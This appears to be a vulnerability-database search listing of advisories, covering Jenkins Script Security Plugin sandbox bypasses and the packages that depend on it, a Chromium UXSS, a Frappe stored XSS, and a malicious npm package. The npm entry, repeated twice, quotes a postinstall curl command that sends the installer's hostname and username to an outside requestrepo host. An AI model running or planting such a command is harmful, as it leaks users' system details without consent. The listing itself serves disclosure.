124892 matches found
com.bmc.ims:bmc-change-manager-imstm (113.v47fc813df436), com.fuzzpro.jenkins-plugins:multibranch-job-tear-down (>=73.ve2b_957fc2921, <=74.v7c8402698506) +12 more potentially affected by CVE-2026-57281 via org.jenkins-ci.plugins:script-security (1399.ve6a_66547f6e1)
org.jenkins-ci.plugins:script-security MAVEN version 1399.ve6a66547f6e1 is affected by a known vulnerability. The following packages have a transitive dependency on org.jenkins-ci.plugins:script-security and may be impacted: - com.bmc.ims:bmc-change-manager-imstm 113.v47fc813df436 -...
io.jenkins.plugins:createos-sandbox (24.vfe318c36a_db_8), io.jenkins.plugins:gitea-checks (606.679.vb_d632867a_6b_b) +10 more potentially affected by CVE-2026-57281 via org.jenkins-ci.plugins:script-security (1402.v94c9ce464861)
org.jenkins-ci.plugins:script-security MAVEN version 1402.v94c9ce464861 is affected by a known vulnerability. The following packages have a transitive dependency on org.jenkins-ci.plugins:script-security and may be impacted: - io.jenkins.plugins:createos-sandbox 24.vfe318c36adb8 -...
io.jenkins.plugins:createos-sandbox (24.vfe318c36a_db_8), io.jenkins.plugins:gitea-checks (606.679.vb_d632867a_6b_b) +10 more potentially affected by CVE-2026-57281 via org.jenkins-ci.plugins:script-security (1402.v94c9ce464861)
org.jenkins-ci.plugins:script-security MAVEN version 1402.v94c9ce464861 is affected by a known vulnerability. The following packages have a transitive dependency on org.jenkins-ci.plugins:script-security and may be impacted: - io.jenkins.plugins:createos-sandbox 24.vfe318c36adb8 -...
GHSA-C3JM-9VJ7-5V66 Jenkins Script Security Plugin sandbox bypass vulnerability
Jenkins Script Security Plugin provides a sandbox feature that allows running user-provided scripts safely by intercepting and checking potentially unsafe operations. Script Security Plugin 1402.v94c9ce464861 and earlier does not intercept the implicit type cast applied to each element of the...
jp.ikedam.jenkins.plugins:extensible-choice-parameter (>=1.4.0, <=1.8.0), org.jenkins-ci.plugins:extended-choice-parameter (0.65) +4 more potentially affected by CVE-2026-57280 via org.jenkins-ci.plugins:script-security (1.18.1)
org.jenkins-ci.plugins:script-security MAVEN version 1.18.1 is affected by a known vulnerability. The following packages have a transitive dependency on org.jenkins-ci.plugins:script-security and may be impacted: - jp.ikedam.jenkins.plugins:extensible-choice-parameter =1.4.0, =1.2.3, =1.3.4, =1.9...
com.bmc.ims:bmc-cfa (>=198.vfe106798d1a6, <=200.va3bf13f31cdd), com.bmc.ims:bmc-change-manager-imstm (>=81.v560fa_d742db_d, <=83.v761069998a_34) +40 more potentially affected by CVE-2026-57280 via org.jenkins-ci.plugins:script-security (1385.v7d2d9ec4d909)
org.jenkins-ci.plugins:script-security MAVEN version 1385.v7d2d9ec4d909 is affected by a known vulnerability. The following packages have a transitive dependency on org.jenkins-ci.plugins:script-security and may be impacted: - com.bmc.ims:bmc-cfa =198.vfe106798d1a6, =81.v560fad742dbd, =1.46.0,...
com.fuzzpro.jenkins-plugins:multibranch-job-tear-down (>=61.v68b_d7264b_643, <=69.vc3f564093641), io.jenkins.configuration-as-code:test-harness (>=2037.v8e5349845172, <=2144.ve8c697101488) +59 more potentially affected by CVE-2026-57281 via org.jenkins-ci.plugins:script-security (1378.vf25626395f49)
org.jenkins-ci.plugins:script-security MAVEN version 1378.vf25626395f49 is affected by a known vulnerability. The following packages have a transitive dependency on org.jenkins-ci.plugins:script-security and may be impacted: - com.fuzzpro.jenkins-plugins:multibranch-job-tear-down =61.v68bd7264b64...
io.jenkins.plugins:secone-sca-sast-security-scanner (>=13.v31f269d5b_52f, <=51.va_f10d0400c9e), org.6wind.jenkins:lockable-resources (1301.v0e3b_da_4b_4462) +5 more potentially affected by CVE-2026-57281 via org.jenkins-ci.plugins:script-security (1354.va_70a_fe478c7f)
org.jenkins-ci.plugins:script-security MAVEN version 1354.va70afe478c7f is affected by a known vulnerability. The following packages have a transitive dependency on org.jenkins-ci.plugins:script-security and may be impacted: - io.jenkins.plugins:secone-sca-sast-security-scanner =13.v31f269d5b52f,...
de.taimos:pipeline-aws (>=1.21, <=1.24), org.jenkins-ci.plugins:pipeline-utility-steps (>=2.0, <=2.0.2) potentially affected by CVE-2026-57281 via org.jenkins-ci.plugins:script-security (1.40)
org.jenkins-ci.plugins:script-security MAVEN version 1.40 is affected by a known vulnerability. The following packages have a transitive dependency on org.jenkins-ci.plugins:script-security and may be impacted: - de.taimos:pipeline-aws =1.21, =2.0, =2.0.2 Source cves: CVE-2026-57281 Source...
Astra Linux – Vulnerability in Chromium
Insufficient policy enforcement in History Navigation in Google Chrome prior to 147.0.7727.55 allowed a remote attacker who convinced a user to engage in specific UI gestures to inject arbitrary scripts or HTML UXSS via a crafted HTML page. Chromium security severity: Low...
EUVD-2026-38795
A Stored Cross-Site Scripting XSS vulnerability exists in Frappe Framework version 17.0.0-dev. An authenticated attacker with write access to Auto Repeat can persist HTML/JavaScript in referencedocument using a whitelisted write path and trigger script execution when users open the affected Auto...
CVE-2026-50699
Summary: CVE-2026-50699 affects the Frappe Framework (version 17.0.0-dev) and concerns a Stored XSS in the Auto Repeat dashboard rendering. An attacker who has write access to Auto Repeat can persist HTML/JavaScript in the reference_document through a whitelisted write path. When users open the a...
CVE-2026-50699 Frappe Framework 17.0.0-dev - Stored XSS in Auto Repeat dashboard schedule rendering
A Stored Cross-Site Scripting XSS vulnerability exists in Frappe Framework version 17.0.0-dev. An authenticated attacker with write access to Auto Repeat can persist HTML/JavaScript in referencedocument using a whitelisted write path and trigger script execution when users open the affected Auto...
CVE-2026-50699
A Stored Cross-Site Scripting XSS vulnerability exists in Frappe Framework version 17.0.0-dev. An authenticated attacker with write access to Auto Repeat can persist HTML/JavaScript in referencedocument using a whitelisted write path and trigger script execution when users open the affected Auto...
CVE-2026-57281
Jenkins Script Security Plugin 1402.v94c9ce464861 and earlier does not reject Groovy AST transformation annotations carrying an extensions member, allowing attackers able to run sandboxed Groovy scripts to execute code outside the sandbox if a suitable script is present on the classpath of the...
CVE-2026-57281
Jenkins Script Security Plugin 1402.v94c9ce464861 and earlier does not reject Groovy AST transformation annotations carrying an extensions member, allowing attackers able to run sandboxed Groovy scripts to execute code outside the sandbox if a suitable script is present on the classpath of the...
CVE-2026-57280
Jenkins Script Security Plugin 1402.v94c9ce464861 and earlier does not intercept the implicit type casts applied to the elements of typed for-each loops in sandboxed Groovy scripts, allowing attackers able to provide such scripts to invoke arbitrary constructors and bypass the sandbox protection...
CVE-2026-57280
Jenkins Script Security Plugin 1402.v94c9ce464861 and earlier does not intercept the implicit type casts applied to the elements of typed for-each loops in sandboxed Groovy scripts, allowing attackers able to provide such scripts to invoke arbitrary constructors and bypass the sandbox protection...
MAL-2026-6391 Malicious code in cccmyssr2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bd052408bb36e56e940e50ba81f7054844bc91dc0b32eaead5d15ca67f9b5c03 On npm install, the package's postinstall.js executes curl "http://r1x55270.requestrepo.com/pre?h=$hostname&u=$whoami", transmitting the installer's...
Malicious code in cccmyssr2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bd052408bb36e56e940e50ba81f7054844bc91dc0b32eaead5d15ca67f9b5c03 On npm install, the package's postinstall.js executes curl "http://r1x55270.requestrepo.com/pre?h=$hostname&u=$whoami", transmitting the installer's...